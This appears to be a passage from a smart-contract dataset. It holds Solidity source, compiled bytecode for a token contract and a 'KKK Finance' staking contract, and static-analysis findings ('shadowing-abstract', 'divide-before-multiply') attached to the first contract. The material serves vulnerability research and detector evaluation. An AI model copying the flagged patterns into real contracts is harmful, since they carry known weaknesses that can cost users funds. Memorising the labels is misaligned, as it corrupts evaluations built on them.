returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
0x60806040526004361061018a5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610194578063095ea7b31461021e5780631003e2d21461025657806318160ddd1461026e57806323b872dd1461029557806329dcb0cf146102bf5780632e1a7d4d146102d4578063313ce567146102ec57806342966c6814610301578063532b581c1461031957806370a082311461032e57806374ff23241461034f5780637809231c14610364578063836e81801461038857806383afd6da1461039d578063853828b6146103b257806395d89b41146103c75780639b1cbccc146103dc5780639ea407be146103f1578063a9059cbb14610409578063aa6ca8081461018a578063b449c24d1461042d578063c108d5421461044e578063c489744b14610463578063cbdd69b51461048a578063dd62ed3e1461049f578063e58fc54c146104c6578063e6a092f5146104e7578063efca2eed146104fc578063f2fde38b14610511578063f3ccb40114610532575b610192610556565b005b3480156101a057600080fd5b506101a9610801565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e35781810151838201526020016101cb565b50505050905090810190601f1680156102105780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022a57600080fd5b50610242600160a060020a0360043516602435610838565b604080519115158252519081900360200190f35b34801561026257600080fd5b506101926004356108e0565b34801561027a57600080fd5b5061028361094d565b60408051918252519081900360200190f35b3480156102a157600080fd5b50610242600160a060020a0360043581169060243516604435610953565b3480156102cb57600080fd5b50610283610ac6565b3480156102e057600080fd5b50610192600435610acc565b3480156102f857600080fd5b50610283610b26565b34801561030d57600080fd5b50610192600435610b2b565b34801561032557600080fd5b50610283610c0a565b34801561033a57600080fd5b50610283600160a060020a0360043516610c10565b34801561035b57600080fd5b50610283610c2b565b34801561037057600080fd5b50610192600160a060020a0360043516602435610c36565b34801561039457600080fd5b50610283610c5b565b3480156103a957600080fd5b50610283610c61565b3480156103be57600080fd5b50610192610c67565b3480156103d357600080fd5b506101a9610cc4565b3480156103e857600080fd5b50610242610cfb565b3480156103fd57600080fd5b50610192600435610d61565b34801561041557600080fd5b50610242600160a060020a0360043516602435610db3565b34801561043957600080fd5b50610242600160a060020a0360043516610e92565b34801561045a57600080fd5b50610242610ea7565b34801561046f57600080fd5b50610283600160a060020a0360043581169060243516610eb0565b34801561049657600080fd5b50610283610f61565b3480156104ab57600080fd5b50610283600160a060020a0360043581169060243516610f67565b3480156104d257600080fd5b50610242600160a060020a0360043516610f92565b3480156104f357600080fd5b506102836110e6565b34801561050857600080fd5b506102836110ec565b34801561051d57600080fd5b50610192600160a060020a03600435166110f2565b34801561053e57600080fd5b50610192602460048035828101929101359035611144565b600d54600090819081908190819081908190819060ff161561057757600080fd5b600a546000985088975087965067016345785d8a000095506706f05b59d3b200009450670de0b6b3a7640000935083906105b7903463ffffffff61119d16565b8115156105c057fe5b049750339150662386f26fc1000034101580156105de575060055442105b80156105eb575060075442105b80156105f8575060065442105b1561064f5784341015801561060c57508334105b1561061e57606460005b04955061064a565b83341015801561062d57508234105b1561063b5760646000610616565b34831161064a576064885b0495505b6106b8565b662386f26fc100003410158015610667575060055442105b8015610674575060075442115b8015610681575060065442105b156106b35783341015801561069557508234105b156106a35760646000610616565b34831161064a5760646000610646565b600095505b87860196508715156107575750600160a060020a03811660009081526004602052604090205465015d3ef798009060ff161580156106fa5750600b54600c5411155b1561073e5761070982826111c6565b50600160a060020a0382166000908152600460205260409020805460ff19166001908117909155600c80549091019055610752565b662386f26fc1000034101561075257600080fd5b6107de565b60008811801561076e5750662386f26fc100003410155b156107ca57600554421015801561078757506007544210155b8015610794575060065442105b156107a9576107a382896111c6565b50610752565b3485116107ba576107a382886111c6565b6107c482896111c6565b506107de565b662386f26fc100003410156107de57600080fd5b600854600954106107f757600d805460ff191660011790555b5050505050505050565b60408051808201909152600881527f53796e6342616c6c000000000000000000000000000000000000000000000000602082015281565b6000811580159061086b5750336000908152600360209081526040808320600160a060020a038716845290915290205415155b15610878575060006108da565b336000818152600360209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b600154600090600160a060020a031633146108fa57600080fd5b60085461090d908363ffffffff6112a216565b60088190556040805184815290519192507f90f1f758f0e2b40929b1fd48df7ebe10afc272a362e1f0d63a90b8b4715d799f919081900360200190a15050565b60085481565b60006060606436101561096257fe5b600160a060020a038416151561097757600080fd5b600160a060020a03851660009081526002602052604090205483111561099c57600080fd5b600160a060020a03851660009081526003602090815260408083203384529091529020548311156109cc57600080fd5b600160a060020a0385166000908152600260205260409020546109f5908463ffffffff6112af16565b600160a060020a0386166000908152600260209081526040808320939093556003815282822033835290522054610a32908463ffffffff6112af16565b600160a060020a038087166000908152600360209081526040808320338452825280832094909455918716815260029091522054610a76908463ffffffff6112a216565b600160a060020a0380861660008181526002602090815260409182902094909455805187815290519193928916926000805160206113ec83398151915292918290030190a3506001949350505050565b60055481565b600154600090600160a060020a03163314610ae657600080fd5b506001546040518291600160a060020a03169082156108fc029083906000818181858888f19350505050158015610b21573d6000803e3d6000fd5b505050565b600881565b600154600090600160a060020a03163314610b4557600080fd5b33600090815260026020526040902054821115610b6157600080fd5b5033600081815260026020526040902054610b82908363ffffffff6112af16565b600160a060020a038216600090815260026020526040902055600854610bae908363ffffffff6112af16565b600855600954610bc4908363ffffffff6112af16565b600955604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b60065481565b600160a060020a031660009081526002602052604090205490565b662386f26fc1000081565b600154600160a060020a03163314610c4d57600080fd5b610c5782826112c1565b5050565b60075481565b600c5481565b6001546000908190600160a060020a03163314610c8357600080fd5b50506001546040513091823191600160a060020a03909116906108fc8315029083906000818181858888f19350505050158015610b21573d6000803e3d6000fd5b60408051808201909152600381527f5343420000000000000000000000000000000000000000000000000000000000602082015281565b600154600090600160a060020a03163314610d1557600080fd5b600d5460ff1615610d2557600080fd5b600d805460ff191660011790556040517f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc90600090a150600190565b600154600160a060020a03163314610d7857600080fd5b600a8190556040805182815290517ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c0039181900360200190a150565b600060406044361015610dc257fe5b600160a060020a0384161515610dd757600080fd5b33600090815260026020526040902054831115610df357600080fd5b33600090815260026020526040902054610e13908463ffffffff6112af16565b3360009081526002602052604080822092909255600160a060020a03861681522054610e45908463ffffffff6112a216565b600160a060020a0385166000818152600260209081526040918290209390935580518681529051919233926000805160206113ec8339815191529281900390910190a35060019392505050565b60046020526000908152604090205460ff1681565b600d5460ff1681565b600080600084915081600160a060020a03166370a08231856040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610f2c57600080fd5b505af1158015610f40573d6000803e3d6000fd5b505050506040513d6020811015610f5657600080fd5b505195945050505050565b600a5481565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60015460009081908190600160a060020a03163314610fb057600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051859350600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561101457600080fd5b505af1158015611028573d6000803e3d6000fd5b505050506040513d602081101561103e57600080fd5b5051600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b1580156110b257600080fd5b505af11580156110c6573d6000803e3d6000fd5b505050506040513d60208110156110dc57600080fd5b5051949350505050565b600b5481565b60095481565b600154600160a060020a0316331461110957600080fd5b600160a060020a03811615611141576001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b600154600090600160a060020a0316331461115e57600080fd5b5060005b828110156111975761118f84848381811061117957fe5b90506020020135600160a060020a0316836112c1565b600101611162565b50505050565b60008215156111ae575060006108da565b508181028183828115156111be57fe5b04146108da57fe5b600d5460009060ff16156111d957600080fd5b6009546111ec908363ffffffff6112a216565b600955600160a060020a038316600090815260026020526040902054611218908363ffffffff6112a216565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191927f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a7792918290030190a2604080518381529051600160a060020a038516916000916000805160206113ec8339815191529181900360200190a350600192915050565b818101828110156108da57fe5b6000828211156112bb57fe5b50900390565b600154600160a060020a031633146112d857600080fd5b600081116112e557600080fd5b600854600954106112f557600080fd5b600160a060020a03821660009081526002602052604090205461131e908263ffffffff6112a216565b600160a060020a03831660009081526002602052604090205560095461134a908263ffffffff6112a216565b60098190556008541161136557600d805460ff191660011790555b600160a060020a0382166000818152600260209081526040918290205482518581529182015281517fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d272929181900390910190a2604080518281529051600160a060020a038416916000916000805160206113ec8339815191529181900360200190a350505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820ac3d29eb70e661c7625bb6d2681c6a470614f2a39c597e3e92d7a5d57accbc2a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
7,481
0x53F9Ef4A49bb7a3E6BbC92E33895328938DEeE47
// SPDX-License-Identifier: MIT /** KKK Finance Stake your eth by the website to Uniswap LP Tokens Pool,earning you KKK. Website: https://kkk.finance */ pragma solidity 0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c;} function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow");} function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c;} function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) {return 0;} uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c;} function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero");} function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c;} function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero");} function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b;} } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function mint(address account, uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface Uniswap{ function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function getPair(address tokenA, address tokenB) external view returns (address pair); function WETH() external pure returns (address); } interface Pool{ function primary() external view returns (address); } contract Poolable{ address payable internal constant _POOLADDRESS = 0x361E5AF9652979D3c0FE7c87a464e606B6d8B545; function primary() private view returns (address) { return Pool(_POOLADDRESS).primary(); } modifier onlyPrimary() { require(msg.sender == primary(), "Caller is not primary"); _; } } contract Staker is Poolable{ using SafeMath for uint256; uint constant internal DECIMAL = 10**18; uint constant public INF = 33136721748; uint private _rewardValue = 10**21; mapping (address => uint256) public timePooled; mapping (address => uint256) private internalTime; mapping (address => uint256) private LPTokenBalance; mapping (address => uint256) private rewards; mapping (address => uint256) private referralEarned; address public kkkAddress; address constant public UNIROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address constant public FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address public WETHAddress = Uniswap(UNIROUTER).WETH(); bool private _unchangeable = false; bool private _tokenAddressGiven = false; bool public priceCapped = true; uint public creationTime = now; receive() external payable { if(msg.sender != UNIROUTER){ stake(); } } function sendValue(address payable recipient, uint256 amount) internal { (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } //If true, no changes can be made function unchangeable() public view returns (bool){ return _unchangeable; } function rewardValue() public view returns (uint){ return _rewardValue; } //THE ONLY ADMIN FUNCTIONS vvvv //After this is called, no changes can be made function makeUnchangeable() public onlyPrimary{ _unchangeable = true; } //Can only be called once to set token address function setTokenAddress(address input) public onlyPrimary{ require(!_tokenAddressGiven, "Function was already called"); _tokenAddressGiven = true; kkkAddress = input; } //Set reward value that has high APY, can't be called if makeUnchangeable() was called function updateRewardValue(uint input) public onlyPrimary { require(!unchangeable(), "makeUnchangeable() function was already called"); _rewardValue = input; } //Cap token price at 1 eth, can't be called if makeUnchangeable() was called function capPrice(bool input) public onlyPrimary { require(!unchangeable(), "makeUnchangeable() function was already called"); priceCapped = input; } //THE ONLY ADMIN FUNCTIONS ^^^^ function sqrt(uint y) public pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } function stake() public payable{ address staker = msg.sender; require(creationTime + 1 hours <= now, "It has not been 1 hours since contract creation yet"); address poolAddress = Uniswap(FACTORY).getPair(kkkAddress, WETHAddress); if(price() >= (1.05 * 10**18) && priceCapped){ uint t = IERC20(kkkAddress).balanceOf(poolAddress); //token in uniswap uint a = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap uint x = (sqrt(9*t*t + 3988000*a*t) - 1997*t)/1994; IERC20(kkkAddress).mint(address(this), x); address[] memory path = new address[](2); path[0] = kkkAddress; path[1] = WETHAddress; IERC20(kkkAddress).approve(UNIROUTER, x); Uniswap(UNIROUTER).swapExactTokensForETH(x, 1, path, _POOLADDRESS, INF); } sendValue(_POOLADDRESS, address(this).balance/2); uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap uint tokenAmount = IERC20(kkkAddress).balanceOf(poolAddress); //token in uniswap uint toMint = (address(this).balance.mul(tokenAmount)).div(ethAmount); IERC20(kkkAddress).mint(address(this), toMint); uint poolTokenAmountBefore = IERC20(poolAddress).balanceOf(address(this)); uint amountTokenDesired = IERC20(kkkAddress).balanceOf(address(this)); IERC20(kkkAddress).approve(UNIROUTER, amountTokenDesired ); //allow pool to get tokens Uniswap(UNIROUTER).addLiquidityETH{ value: address(this).balance }(kkkAddress, amountTokenDesired, 1, 1, address(this), INF); uint poolTokenAmountAfter = IERC20(poolAddress).balanceOf(address(this)); uint poolTokenGot = poolTokenAmountAfter.sub(poolTokenAmountBefore); rewards[staker] = rewards[staker].add(viewRecentRewardTokenAmount(staker)); timePooled[staker] = now; internalTime[staker] = now; LPTokenBalance[staker] = LPTokenBalance[staker].add(poolTokenGot); } function withdrawLPTokens(uint amount) public { require(timePooled[msg.sender] + 3 days <= now, "It has not been 3 days since you staked yet"); rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender)); LPTokenBalance[msg.sender] = LPTokenBalance[msg.sender].sub(amount); address poolAddress = Uniswap(FACTORY).getPair(kkkAddress, WETHAddress); IERC20(poolAddress).transfer(msg.sender, amount); internalTime[msg.sender] = now; } function withdrawRewardTokens(uint amount) public { require(timePooled[msg.sender] + 3 days <= now, "It has not been 3 days since you staked yet"); rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender)); internalTime[msg.sender] = now; uint removeAmount = ethtimeCalc(amount); rewards[msg.sender] = rewards[msg.sender].sub(removeAmount); IERC20(kkkAddress).mint(msg.sender, amount); } function viewRecentRewardTokenAmount(address who) internal view returns (uint){ return (viewLPTokenAmount(who).mul( now.sub(internalTime[who]) )); } function viewRewardTokenAmount(address who) public view returns (uint){ return earnCalc( rewards[who].add(viewRecentRewardTokenAmount(who)) ); } function viewLPTokenAmount(address who) public view returns (uint){ return LPTokenBalance[who]; } function viewPooledEthAmount(address who) public view returns (uint){ address poolAddress = Uniswap(FACTORY).getPair(kkkAddress, WETHAddress); uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap return (ethAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply()); } function viewPooledTokenAmount(address who) public view returns (uint){ address poolAddress = Uniswap(FACTORY).getPair(kkkAddress, WETHAddress); uint tokenAmount = IERC20(kkkAddress).balanceOf(poolAddress); //token in uniswap return (tokenAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply()); } function price() public view returns (uint){ address poolAddress = Uniswap(FACTORY).getPair(kkkAddress, WETHAddress); uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap uint tokenAmount = IERC20(kkkAddress).balanceOf(poolAddress); //token in uniswap return (DECIMAL.mul(ethAmount)).div(tokenAmount); } function ethEarnCalc(uint eth, uint time) public view returns(uint){ address poolAddress = Uniswap(FACTORY).getPair(kkkAddress, WETHAddress); uint totalEth = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap uint totalLP = IERC20(poolAddress).totalSupply(); uint LP = ((eth/2)*totalLP)/totalEth; return earnCalc(LP * time); } function earnCalc(uint LPTime) public view returns(uint){ return ( rewardValue().mul(LPTime) ) / ( 31557600 * DECIMAL ); } function ethtimeCalc(uint kkk) internal view returns(uint){ return ( kkk.mul(31557600 * DECIMAL) ).div( rewardValue() ); } }
0x60806040526004361061016a5760003560e01c80639d2a679f116100d1578063d28de2731161008a578063e42255d811610064578063e42255d8146106d8578063e91ed7c91461073d578063f484e0e6146107a2578063ff2eba68146107e3576101c1565b8063d28de27314610607578063d488ebe814610648578063d8270dce146106ad576101c1565b80639d2a679f14610495578063a035b1fe146104c0578063a064b44b146104eb578063b1fd67401461053a578063c4fcf8261461059f578063cb43b2dd146105cc576101c1565b8063452d003f11610123578063452d003f14610333578063475d87331461036e5780634caacd7514610385578063677342ce146103b25780637228cd7d146104015780638439a5411461045a576101c1565b80630af88b24146101c657806312c7df731461020757806326a4e8d21461023257806329b83c2e146102835780632dd31000146102e85780633a4b66f114610329576101c1565b366101c157737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101bf576101be610820565b5b005b600080fd5b3480156101d257600080fd5b506101db6118a2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021357600080fd5b5061021c6118c8565b6040518082815260200191505060405180910390f35b34801561023e57600080fd5b506102816004803603602081101561025557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118d1565b005b34801561028f57600080fd5b506102d2600480360360208110156102a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a5b565b6040518082815260200191505060405180910390f35b3480156102f457600080fd5b506102fd611a73565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610331610820565b005b34801561033f57600080fd5b5061036c6004803603602081101561035657600080fd5b8101908080359060200190929190505050611a8b565b005b34801561037a57600080fd5b50610383611e6b565b005b34801561039157600080fd5b5061039a611f30565b60405180821515815260200191505060405180910390f35b3480156103be57600080fd5b506103eb600480360360208110156103d557600080fd5b8101908080359060200190929190505050611f47565b6040518082815260200191505060405180910390f35b34801561040d57600080fd5b506104446004803603604081101561042457600080fd5b810190808035906020019092919080359060200190929190505050611fa9565b6040518082815260200191505060405180910390f35b34801561046657600080fd5b506104936004803603602081101561047d57600080fd5b8101908080359060200190929190505050612244565b005b3480156104a157600080fd5b506104aa612354565b6040518082815260200191505060405180910390f35b3480156104cc57600080fd5b506104d561235d565b6040518082815260200191505060405180910390f35b3480156104f757600080fd5b506105246004803603602081101561050e57600080fd5b810190808035906020019092919050505061263f565b6040518082815260200191505060405180910390f35b34801561054657600080fd5b506105896004803603602081101561055d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612679565b6040518082815260200191505060405180910390f35b3480156105ab57600080fd5b506105b4612914565b60405180821515815260200191505060405180910390f35b3480156105d857600080fd5b50610605600480360360208110156105ef57600080fd5b8101908080359060200190929190505050612927565b005b34801561061357600080fd5b5061061c612bf6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561065457600080fd5b506106976004803603602081101561066b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c0e565b6040518082815260200191505060405180910390f35b3480156106b957600080fd5b506106c2612c79565b6040518082815260200191505060405180910390f35b3480156106e457600080fd5b50610727600480360360208110156106fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c7f565b6040518082815260200191505060405180910390f35b34801561074957600080fd5b5061078c6004803603602081101561076057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f1a565b6040518082815260200191505060405180910390f35b3480156107ae57600080fd5b506107b7612f63565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107ef57600080fd5b5061081e6004803603602081101561080657600080fd5b81019080803515159060200190929190505050612f89565b005b600033905042610e10600854011115610884576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260338152602001806136736033913960400191505060405180910390fd5b6000735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a43905600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561096357600080fd5b505afa158015610977573d6000803e3d6000fd5b505050506040513d602081101561098d57600080fd5b81019080805190602001909291905050509050670e92596fd62900006109b161235d565b101580156109cb5750600760169054906101000a900460ff165b1561100d576000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610a5b57600080fd5b505afa158015610a6f573d6000803e3d6000fd5b505050506040513d6020811015610a8557600080fd5b810190808051906020019092919050505090506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b2357600080fd5b505afa158015610b37573d6000803e3d6000fd5b505050506040513d6020811015610b4d57600080fd5b8101908080519060200190929190505050905060006107ca836107cd02610b818585623cda20020286876009020201611f47565b0381610b8957fe5b049050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1930836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610c1f57600080fd5b505af1158015610c33573d6000803e3d6000fd5b505050506060600267ffffffffffffffff81118015610c5157600080fd5b50604051908082528060200260200182016040528015610c805781602001602082028036833780820191505090505b509050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110610cb357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110610d1d57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d6020811015610e2857600080fd5b810190808051906020019092919050505050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff166318cbafe58360018473361e5af9652979d3c0fe7c87a464e606b6d8b5456407b71a3f546040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015610f09578082015181840152602081019050610eee565b505050509050019650505050505050600060405180830381600087803b158015610f3257600080fd5b505af1158015610f46573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015610f7057600080fd5b8101908080516040519392919084640100000000821115610f9057600080fd5b83820191506020820185811115610fa657600080fd5b8251866020820283011164010000000082111715610fc357600080fd5b8083526020830192505050908051906020019060200280838360005b83811015610ffa578082015181840152602081019050610fdf565b5050505090500160405250505050505050505b61103573361e5af9652979d3c0fe7c87a464e606b6d8b5456002478161102f57fe5b046130ac565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156110c057600080fd5b505afa1580156110d4573d6000803e3d6000fd5b505050506040513d60208110156110ea57600080fd5b810190808051906020019092919050505090506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561118857600080fd5b505afa15801561119c573d6000803e3d6000fd5b505050506040513d60208110156111b257600080fd5b8101908080519060200190929190505050905060006111ec836111de844761317090919063ffffffff16565b6131f690919063ffffffff16565b9050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1930836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561128157600080fd5b505af1158015611295573d6000803e3d6000fd5b5050505060008473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561130257600080fd5b505afa158015611316573d6000803e3d6000fd5b505050506040513d602081101561132c57600080fd5b810190808051906020019092919050505090506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156113ca57600080fd5b505afa1580156113de573d6000803e3d6000fd5b505050506040513d60208110156113f457600080fd5b81019080805190602001909291905050509050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114ae57600080fd5b505af11580156114c2573d6000803e3d6000fd5b505050506040513d60208110156114d857600080fd5b810190808051906020019092919050505050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71947600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684600180306407b71a3f546040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115cd57600080fd5b505af11580156115e1573d6000803e3d6000fd5b50505050506040513d60608110156115f857600080fd5b8101908080519060200190929190805190602001909291908051906020019092919050505050505060008673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561168957600080fd5b505afa15801561169d573d6000803e3d6000fd5b505050506040513d60208110156116b357600080fd5b8101908080519060200190929190505050905060006116db848361324090919063ffffffff16565b90506117376116e98a61328a565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132ff90919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185481600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132ff90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050505050505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054905090565b6118d9613387565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611979576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f43616c6c6572206973206e6f74207072696d617279000000000000000000000081525060200191505060405180910390fd5b600760159054906101000a900460ff16156119fc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f46756e6374696f6e2077617320616c72656164792063616c6c656400